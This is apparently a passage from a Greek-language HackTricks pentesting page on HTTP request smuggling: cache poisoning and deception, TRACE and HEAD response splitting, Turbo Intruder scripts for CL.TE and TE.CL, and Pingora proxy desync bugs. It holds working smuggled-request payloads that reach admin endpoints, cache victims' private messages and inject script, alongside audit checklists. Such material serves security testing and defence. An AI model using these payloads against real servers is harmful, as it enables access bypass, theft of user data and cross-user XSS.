Σημειώστε το ενσωματωμένο request που στοχεύει το /post/next?postId=3. Αυτό το request θα γίνει redirect στο /post?postId=4, χρησιμοποιώντας την τιμή του Host header για να καθοριστεί το domain. Αλλάζοντας το Host header, ο attacker μπορεί να ανακατευθύνει το request στο δικό του domain (on-site redirect to open redirect).

Μετά από επιτυχημένο socket poisoning, θα πρέπει να ξεκινήσει ένα GET request για το /static/include.js. Αυτό το request θα μολυνθεί από το προηγούμενο on-site redirect to open redirect request και θα ανακτήσει το περιεχόμενο του script που ελέγχει ο attacker.

Στη συνέχεια, οποιοδήποτε request για /static/include.js θα σερβίρει το cached περιεχόμενο του script του attacker, προκαλώντας ουσιαστικά μια ευρεία XSS attack.

Using HTTP request smuggling to perform web cache deception

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, ο attacker αναγκάζει την εφαρμογή να αποθηκεύσει κάποιο malicious περιεχόμενο στην cache, και αυτό το περιεχόμενο σερβίρεται από την cache σε άλλους application users.
  • In web cache deception, ο attacker αναγκάζει την εφαρμογή να αποθηκεύσει κάποιο sensitive περιεχόμενο που ανήκει σε άλλον user στην cache, και στη συνέχεια ο attacker ανακτά αυτό το περιεχόμενο από την cache.

Ο attacker κατασκευάζει ένα smuggled request που ανακτά sensitive user-specific content. Consider the following example:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Αν αυτό το smuggled request δηλητηριάσει ένα cache entry που προορίζεται για static content (π.χ. /someimage.png), τα sensitive data του victim από το /private/messages μπορεί να αποθηκευτούν στη cache κάτω από το cache entry του static content. Κατά συνέπεια, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.

Abusing TRACE via HTTP Request Smuggling

In this post προτείνεται ότι αν ο server έχει το method TRACE ενεργοποιημένο, θα μπορούσε να είναι δυνατό να γίνει abuse του με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτό το method θα κάνει reflect οποιοδήποτε header σταλεί στον server ως μέρος του body της response. Για παράδειγμα:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Θα στείλει μια απάντηση όπως:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Ένα παράδειγμα για το πώς να abuse αυτή τη συμπεριφορά θα ήταν να smuggle πρώτα ένα HEAD request. Αυτό το request θα απαντηθεί μόνο με τα headers ενός GET request (Content-Type ανάμεσά τους). Και να smuggle αμέσως μετά το HEAD ένα TRACE request, το οποίο θα αντανακλά τα δεδομένα που στάλθηκαν.
Καθώς το HEAD response θα περιέχει ένα Content-Length header, το response του TRACE request θα αντιμετωπιστεί ως το body του HEAD response, αντανακλώντας έτσι αυθαίρετα δεδομένα στο response.
Αυτό το response θα σταλεί στο επόμενο request πάνω στη σύνδεση, οπότε αυτό θα μπορούσε να χρησιμοποιηθεί σε ένα cached JS file για παράδειγμα για να inject αυθαίρετο JS code.

Abusing TRACE via HTTP Response Splitting

Συνεχίζοντας με αυτό το post προτείνεται ένας άλλος τρόπος για να abuse το TRACE method. Όπως σχολιάστηκε, κάνοντας smuggle ένα HEAD request και ένα TRACE request είναι δυνατό να ελέγξεις κάποια reflected data στο response προς το HEAD request. Το μήκος του body του HEAD request υποδεικνύεται βασικά στο Content-Length header και σχηματίζεται από το response στο TRACE request.

Επομένως, η νέα ιδέα θα ήταν ότι, γνωρίζοντας αυτό το Content-Length και τα δεδομένα που δίνονται στο TRACE response, είναι δυνατό να γίνει το TRACE response να περιέχει ένα έγκυρο HTTP response μετά το τελευταίο byte του Content-Length, επιτρέποντας σε έναν attacker να ελέγξει πλήρως το request προς το επόμενο response (το οποίο θα μπορούσε να χρησιμοποιηθεί για να πραγματοποιηθεί ένα cache poisoning).

Παράδειγμα:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Θα δημιουργήσει αυτές τις απαντήσεις (σημειώστε πώς η HEAD response έχει ένα Content-Length, κάνοντας το TRACE response μέρος του body της HEAD και, μόλις τελειώσει το Content-Length της HEAD, smuggled μια έγκυρη HTTP response):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Βρήκες κάποιο HTTP Request Smuggling vulnerability και δεν ξέρεις πώς να το exploit. Δοκίμασε αυτές τις άλλες method of exploitation:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Από: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Several 2026 Pingora bugs are useful because they show desync primitives beyond classic CL.TE / TE.CL. The reusable lesson is: whenever a proxy σταματά να κάνει parsing πολύ νωρίς, κανονικοποιεί το Transfer-Encoding διαφορετικά από το backend, or falls back to read-until-close for request bodies, you may get FE↔BE desync even without a traditional CL/TE ambiguity.

Premature Upgrade passthrough

If a reverse proxy switches to raw tunnel / passthrough mode as soon as it sees an Upgrade header, without waiting for the backend to confirm the switch with 101 Switching Protocols, you can smuggle a second request in the same TCP stream:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Το front-end αναλύει μόνο το πρώτο request, μετά προωθεί τα υπόλοιπα ως raw bytes. Το backend αναλύει τα appended bytes ως νέο request από το trusted IP του proxy. Αυτό είναι ιδιαίτερα χρήσιμο για να:

  • Παρακάμψεις proxy ACLs, WAF rules, auth checks και rate limits.
  • Φτάσεις internal-only endpoints που εμπιστεύονται το reverse proxy IP.
  • Ενεργοποιήσεις cross-user response queue poisoning σε reused backend connections.

Όταν κάνεις auditing σε proxies, δοκίμαζε πάντα αν οποιαδήποτε τιμή Upgrade ενεργοποιεί passthrough, και επιβεβαίωσε αν η αλλαγή γίνεται πριν ή μετά το backend απαντήσει με 101.

Bugs κανονικοποίησης του Transfer-Encoding + fallback HTTP/1.0 close-delimited

Ένα άλλο χρήσιμο pattern είναι:

  1. Το proxy βλέπει ότι υπάρχει Transfer-Encoding, οπότε αφαιρεί το Content-Length.
  2. Το proxy αποτυγχάνει να κανονικοποιήσει σωστά το TE.
  3. Το proxy πλέον δεν έχει αναγνωρισμένο framing και κάνει fallback σε close-delimited request bodies για HTTP/1.0.
  4. Το backend καταλαβαίνει σωστά το TE και αντιμετωπίζει τα bytes μετά το 0\r\n\r\n ως νέο request.

Κοινές μέθοδοι για να το ενεργοποιήσεις:

  • Comma-separated TE list not parsed:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Τα διπλά TE headers δεν συγχωνεύονται:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Τα σημαντικά audit checks είναι:

  • Does the front-end parse το last TE token, όπως απαιτείται όταν το chunked είναι τελευταίο;
  • Χρησιμοποιεί all Transfer-Encoding headers αντί μόνο του πρώτου;
  • Μπορείς να αναγκάσεις HTTP/1.0 να ενεργοποιήσει ένα read-until-close body mode;
  • Επιτρέπει ποτέ ο proxy close-delimited request bodies; Αυτό από μόνο του είναι ένα υψηλής αξίας desync smell.

Αυτή η κατηγορία συχνά μοιάζει με CL.TE απ’ έξω, αλλά το πραγματικό primitive είναι: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Το ίδιο Pingora audit αποκάλυψε επίσης ένα επικίνδυνο reverse-proxy cache anti-pattern: deriving το cache key only from the URI path, ενώ αγνοεί Host, scheme, ή port. Σε multi-tenant ή multi-vhost deployments, διαφορετικά hosts μπορούν τότε να συγκρουστούν στο ίδιο cache entry:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

Αν και τα δύο requests αντιστοιχούν στο ίδιο cache key (/api/data), ένας tenant μπορεί να poison περιεχόμενο για έναν άλλον. Αν το origin κάνει reflect το Host header σε redirects, CORS, HTML ή script URLs, ένα χαμηλής αξίας Host reflection μπορεί να γίνει cross-user stored cache poisoning.

Όταν ελέγχεις caches, επιβεβαίωσε ότι το key περιλαμβάνει τουλάχιστον:

  • Host / virtual host identity
  • scheme (http vs https) όταν η συμπεριφορά διαφέρει
  • port όταν multiple applications μοιράζονται το ίδιο cache namespace

Tools

References

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks